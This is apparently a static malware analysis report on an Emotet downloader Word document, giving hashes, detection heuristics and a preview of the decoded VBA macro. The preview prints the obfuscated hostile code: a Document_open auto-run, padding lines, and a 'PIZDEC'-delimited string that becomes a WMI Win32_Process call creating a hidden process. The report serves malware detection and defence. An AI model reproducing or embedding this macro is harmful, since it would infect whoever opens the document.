Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fd4fb3464a7f787e…

MALICIOUS

Office (OLE)

188.0 KB Created: 2020-09-16 18:57:00 Authoring application: Microsoft Office Word First seen: 2021-03-31
MD5: b5aec286f8eb3f4eaee302606b6842ca SHA-1: 96ac84ea9ed721daf2d920fd2edfececec3eb1b5 SHA-256: fd4fb3464a7f787ee4d5b1795fe7b4d8ffde4a1683fc6620602fb78ba52f52a9
170 Risk Score

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-9762284-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9762284-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set P0ib2k3xgl6k = CreateObject(H7xdqcu0aczn2t)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Document_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19132 bytes
SHA-256: c8eacd47a01532c076db7a43a0d927f95cb78ca92fb9fc841101993b58287d9b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Hkuh37ff65vihiqh1z"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Pwvbmsznepk6 = Array(Iammmppvp5y5o1ru + "T6daquiwsymb_bZkp6rtahlyf38i93h5 Rp3x8qd162ctq4z6" + Hwc81y3mk3l, O7ehkmuhytpn4, V498mqcl653i20qsx6.Ycbfdzqm8odffce84, Mie1_io5rw24 + "T_kwy4nk60lfqexq3g Cugthv4c02osrro4 J82vp7wk4uue J1pb1pvrcb71ouqq6")
End Sub


Attribute VB_Name = "V498mqcl653i20qsx6"
Attribute VB_Base = "0{B47E803E-2AAD-4688-88B5-F0ADC09813B7}{DF7C6934-9AF5-4B58-A831-6A5FF5CA9AC4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Ycbfdzqm8odffce84()
On Error Resume Next
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
Va0ll0y95y4np0jqv = 90
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
Yb1w542hz0o = Ikmof_53bhlvt41 + Chr$(Va0ll0y95y4np0jqv + (25))
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
R7qrwbdqual = "PIZDECPIZDECwPIZDECiPIZDECnmPIZDECPIZDECgmPIZDECtPIZDECPIZDEC" + Yb1w542hz0o + "PIZDECPIZDEC:PIZDECwPIZDECinPIZDECPIZDEC3PIZDEC2PIZDEC_PIZDEC" + V498mqcl653i20qsx6.Punye00muikn6j + "PIZDECroPIZDECPIZDECcePIZDECsPIZDECsPIZDEC"
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
H7xdqcu0aczn2t = Bm1urvrrjwck_j(R7qrwbdqual)
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
Set P0ib2k3xgl6k = CreateObject(H7xdqcu0aczn2t)
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
Smv7yek3do3x = On6hq7ksdd439 + H7xdqcu0aczn2t + Yb1w542hz0o + V498mqcl653i20qsx6.Lbp6qfyyhejr + V498mqcl653i20qsx6.N3h_ty6bmu1z35mk
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
Set Bx4q7333q0nae9 = Qe0607qsk5qjzwjucx(Smv7yek3do3x + V498mqcl653i20qsx6.Punye00muikn6j)
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
P0ib2k3xgl6k.Create X0uqsty6g04n0l, Arf7d8uvufxlsj8, Bx4q7333q0nae9
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
End Function
Function Qe0607qsk5qjzwjucx(Dr4ekh7cd6fro)
On Error Resume Next
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
Set Qe0607qsk5qjzwjucx = CreateObject(Dr4ekh7cd6fro)
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
Qe0607qsk5qjzwjucx. _
showwindow = wdKeyEquals - wdKeyEquals
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
End Function
Function Bm1urvrrjwck_j(K21xh9jhqnwtowdfy6)
On Error Resume Next
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
Y8knvv8sxgmyrzpp = CleanString(K21xh9jhqnwtowdfy6)
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
Dcbtn1q5azyd5nxfnb = Split(Y8knvv8sxgmyrzpp, "PIZDEC")
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
Q0reh6unb63jd9f04 = Tw7vda69gqa6lchb5r + Join(Dcbtn1q5azyd5nxfnb, Vqy15104zven)
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
Bm1urvrrjwck_j = Q0reh6unb63jd9f04
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
End Function
Function X0uqsty6g04n0l()
On Error Resume Next
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
